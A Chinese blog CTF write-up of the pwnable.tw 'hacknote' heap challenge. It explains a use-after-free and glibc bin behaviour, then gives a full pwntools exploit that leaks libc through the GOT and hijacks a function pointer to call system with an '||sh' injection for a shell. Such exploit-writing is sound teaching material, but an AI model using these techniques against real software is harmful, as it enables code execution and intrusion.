美文网首页CTF-PWN
pwnable.tw(二) hacknote

pwnable.tw(二) hacknote

作者: Nevv | 来源:发表于2018-04-02 09:37 被阅读12次

0x01 hacknote

IAD-F5反汇编查看,重点就是关注delete、add函数

void __cdecl __noreturn main()
{
  int v0; // eax
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      read(0, &buf, 4u);
      v0 = atoi(&buf);
      if ( v0 != 2 )
        break;
      delete();
    }
    if ( v0 > 2 )
    {
      if ( v0 == 3 )
      {
        print();
      }
      else
      {
        if ( v0 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v0 != 1 )
        goto LABEL_13;
      add();
    }
  }
}

add函数

unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( dword_804A04C <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !ptr[i] )
      {
        ptr[i] = malloc(8u);                    // ptr前四字节指向打印函数,后四字节指向内容
        if ( !ptr[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)ptr[i] = printNote__;        // 指针指向此note的打印函数
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = ptr[i];
        v0[1] = malloc(size);
        if ( !*((_DWORD *)ptr[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)ptr[i] + 1), size);
        puts("Success !");
        ++dword_804A04C;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

delete函数

unsigned int sub_80487D4()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
  {
    free(*((void **)ptr[v1] + 1));
    free(ptr[v1]);               // 这里有一个UAF的漏洞,free后指针没有置空
    puts("Success");   
  }
  return __readgsdword(0x14u) ^ v3;
}

UAF漏洞 Use After free

glibc管理机制
  • glibc的堆管理结构
struct malloc_state {
mutex_t mutex;                 /* Serialize access. */
int flags;                       /* Flags (formerly in max_fast). */
#if THREAD_STATS
/* Statistics for locking. Only used if THREAD_STATS is defined. */
long stat_lock_direct, stat_lock_loop, stat_lock_wait;
#endif

mfastbinptr fastbins[NFASTBINS];    /* Fastbins */
mchunkptr top;
mchunkptr last_remainder;
mchunkptr bins[NBINS * 2];

unsigned int binmap[BINMAPSIZE];   /* Bitmap of bins */
struct malloc_state *next;           /* Linked list */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

其中:

  1. fastbins: 存储多个链表。每个链表由空闲的fastbin组成,是fastbin freelist。malloc分配时的整体顺序是如果堆块较小,属于fastbin,则在fastbin list里寻找到一个恰当大小的堆块;
  2. top:top chunk,指向的是arena中剩下的空间。如果各种freelist都为空,则从top chunk开始分配堆块。malloc分配时如果bins或者fastbins都为空或没有分配成功,则从top chunk指向的区域分配堆块。
  3. bins:存储多个双向链表。意义上和堆块头部的双向链表一样,并和其组成了一个双向环状空闲列表(freelist)。这里的bins位于freelist的结构上的头部,后向指针(bk)指向freelist逻辑上的第一个节点。分配chunk时从逻辑上的第一个节点分配寻找合适大小的堆块。如果其大小属于normal chunk,则在normal bins里面(unsort,small,large)寻找一个恰当的堆块。

libc的堆管理机制和其他的堆管理一样,对于free的堆块,堆管理器不会立即把释放的内存还给系统,而是自己保存起来,以便下次分配使用。这样可以减少和系统内核的交互次数,提高效率。Libc中保存释放的内存的地点就是bin。有以下四种类型

Fast bin
/*  对于较小的堆块,使用fastbin来分配。

    fastbin的范围处于16~64byte,使用单向链表来维护。每次从fastbin中分配堆块时,
都会从尾部取出。fastbin块的inuse位永远是置于1的,并且享有最高的优先权,
在分配和释放时总会最先考虑fastbin。

*/


/* 除了fastbin之外的堆块则为normal chunk。
这些堆块释放后堆块会被放到malloc_state结构的bins数组中
。bins数组中一共有126个元素。具体的分配如下:  */

Unsorted bin  /* unsort bin在bins[]中仅占有一个位置,除了fastbin外的其他块被释放后都会进入到这里来作为一个缓冲,每当进行malloc时会把堆块从unsort bin中取出并放到对于的bins[]中。 */
Small bin     /* small bin是指大于16byte且小于512byte的堆块,使用双向链表链接,不会有两个相邻的空的small bin块,因为一旦出现这种情况,相邻的块就会被合并成一个块。通常是在调用free函数时触发这一过程。需要注意的是在相邻空块合并时会调用unlink()宏来进行取下操作,但是调用malloc()时的取下操作却没有使用unlink宏。 */   
Large bin     /* 超出large bin范围的即为large bin,large bin相比其他块而言具有一条额外的由fd_nextsize和bk_nextsize域组成的链表结构。 */
UAF漏洞例子
#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)(char *);
void evil_fuc(char command[])
{
    system(command);
}
void echo(char content[])
{
    printf("%s",content);
}
int main()
{
    func_ptr *p1=(int*)malloc(4*sizeof(int));
    printf("malloc addr: %pn",p1);
    p1[3]=echo;
    p1[3]("hello worldn");
    free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针
    p1[3]("hello againn"); //p1指针未被置空,虽然free了,但仍可使用.
    func_ptr *p2=(int*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.
    printf("malloc addr: %pn",p2);
    printf("malloc addr: %pn",p1);//p2与p1指针指向的内存为同一地址
    p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.
    p1[3]("whoami");
    return 0;
}
malloc内存对齐

内容主要摘自 - https://www.jianshu.com/p/48fd21a95d55

在大多数情况下,编译器和C库透明地帮你处理对齐问题。POSIX 标明了通过malloc( ), calloc( ), 和 realloc( ) 返回的地址对于任何的C类型来说都是对齐的。这样可以避免内存中的碎片,提高程序效率。

对齐参数(MALLOC_ALIGNMENT) 大小的设定并需满足两个特性:

1)必须是2的幂

2)必须是void*的整数倍,sizeof(void*) is 4Bytes in x86 ,and 8Bytes in x64

粗粗看了下malloc的头文件定义,对齐参数MALLOC_ALIGNMENT应该为2*sizeof(void*),即32位下为8bytes,64位下为16bytes。但是最小分配单位并不是对齐单位,同样参考glibc的malloc.h文件,最小分配单位MINSIZE:计算MINSIZE=(16+8-1) & ~(8-1)=16字节
.即32位下malloc的最小分配单位为16字节,64位下最小分配单位为32字节。

image

从request2size还可以知道,如果是64位系统,申请内存为1~24字节时,系统内存消耗32字节,当申请内存为25字节时,系统内存消耗48字节。如果是32位系统,申请内存为1~12字节时,系统内存消耗16字节,当申请内存为13字节时,系统内存消耗24字节。(类似计算MINSIZE)

漏洞分析

有了以上的基础我们回到题目来看,存储note的结构体为:

struct note{

    void *p;             //指向打印函数0x080462b的指针

    str *content;   //指向note内容的指针

}

可以看到之前介绍的malloc内存对齐机制的体现:

  1. 一开始malloc了8字节存放note结构体,实际上为了内存对齐分配16字节内存空间;

  2. 用户设置的content大小为20字节,对齐后实际为24字节内存空间

大体的利用思路为:

add_note首先malloc出8字节来存放note结构体,接着用户输入content的size:16,这样操作两次,分配的内存大小为16/24/16/24

接着使用delete_note来释放内存:先后delete_note(0) delete_note(1),接着add_note,增加一个content size=8,内容为'aaaaaaaa'

——————————————

| content0         32bytes            第一个note的content       |    head

——————————————                                       |

| struct note0    16bytes            第一个note的结构体         |

——————————————                                       |

|content1          32bytes            第二个note的content       |

——————————————                                       |

|struct note1      16bytes            第二个note的结构体        |

——————————————                                      V    tail

增加note的过程中需要做两次malloc(8)的操作,经过内存对齐后即为分配两个大小为16字节的内存,这样根据malloc的优先分配机制,从空表尾部开始寻找大小为16字节的空间。

因此新建的note2的strcut note将被分配到note1的结构体位置,note2的content将被分配到note0的结构体位置,note0八字节的结构体处分别存放了打印函数0x804862b和其参数地址,现在将被我们输入的content覆盖!

题目已经给出了libc文件,我们首先要做的就是泄露出libc加载到内存中的基址:

以read()为例,我们将指向content的指针覆盖为read在got表中的地址,这样调用print\_note后就会打印出read的实际地址,利用:system\_addr-libc\_system=read\_addr-libc_read

计算system\_addr=read\_addr-libc\_read+libc\_system

泄露libc加载基址的过程实际上就是改编程序执行流程的过程,既然我们已经得到了system的实际地址,只需要重复相同的步骤,只是将原本0x804862b覆盖为system的地址。

这里还有一个小坑,覆盖后system的参数实际上是从note0结构体开始的,也就是p32(system_addr)+'sh',这样是无法达到system('/bin/sh')的效果的,类似的题目还有sect.ctf.rocks(比赛网站已经挂了好像是叫做SEC-T CTF一个国外的比赛)里有一道pwn50也要用到system参数截断的姿势,当时用的是&&sh,类似的还有||sh,;sh;

from pwn import *

con=remote("chall.pwnable.tw", 10102)
e=ELF("hacknote")
elib=ELF("libc_32.so.6")
puts_got=0x804a024 #e.got["puts"]
printn=0x804862b

def addNote(size,content):
    con.recvuntil("choice :")
    con.sendline("1")
    con.recvuntil("size :")
    con.sendline(str(size))
    con.recvuntil("Content :")
    con.sendline(content)
    
def deleteNote(index):
    con.recvuntil("choice :")
    con.sendline("2")
    con.recvuntil("Index :")
    con.sendline(str(index))
    
def printNote(index):
    con.recvuntil("choice :")
    con.sendline("3")
    con.recvuntil("Index :")
    con.sendline(str(index))

addNote(24,24*"a")
addNote(24,24*"a")
deleteNote(0)
deleteNote(1)
addNote(8,p32(printn)+p32(puts_got)) #泄露出put函数的实际地址
printNote(0)
p=con.recv()
puts_addr=u32(p[:4])
d_value=elib.symbols["puts"]-elib.symbols["system"]
sys_addr=puts_addr-d_value
deleteNote(2)
addNote(8,p32(sys_addr)+"||sh")
printNote(0)
con.interactive("nevv$")

相关文章

  • pwnable.tw(二) hacknote

    0x01 hacknote IAD-F5反汇编查看,重点就是关注delete、add函数 add函数 delete...

  • Pwnable.tw hacknote

    一道适合入门的堆利用题目 需要事先了解 malloc 相关的堆分配机制(fastbin,normal bin等) ...

  • pwnable.tw记录之hacknote

    0x00漏洞简介 uaf漏洞产生的主要原因是释放了一个堆块后,并没有将该指针置为NULL,这样导致该指针处于悬空的...

  • pwnable.tw 堆一hacknote

    分析程序 漏洞很简单,free掉两个指针之后没有清空,可以uaf,程序有执行函数地址的函数,因此可直接劫持流程踩了...

  • house of orange总结

    例题pwnable.tw BookWriter 原理可见https://github.com/shellphish...

  • 【CTF-PWN】pwnable.tw_hacknote

    pwnable.tw_challenge_hacknote 打开程序查看功能: 这里可以增加删除打印note信息载...

  • 堆重启_uaf_hacknote

    参考链接 http://blog.eonew.cn/archives/490 https://blog.csdn....

  • [pwnable.tw]-Start

    程序很简单,直接用汇编int 80实现的读写退出,没开NX保护,然后有个栈溢出漏洞,先泄漏栈地址,然后往栈里写sh...

  • Pwnable.tw Start

    参考了这篇writeup http://dogewatch.github.io/2017/04/10/pwnabl...

  • Pwnable.tw calc

    这题的漏洞还是挺有意思的 先逆向分析一下binary的逻辑 看calc函数 通过get_expr获得输入,会过滤掉...

网友评论

    本文标题:pwnable.tw(二) hacknote

    本文链接:https://www.haomeiwen.com/subject/ledthftx.html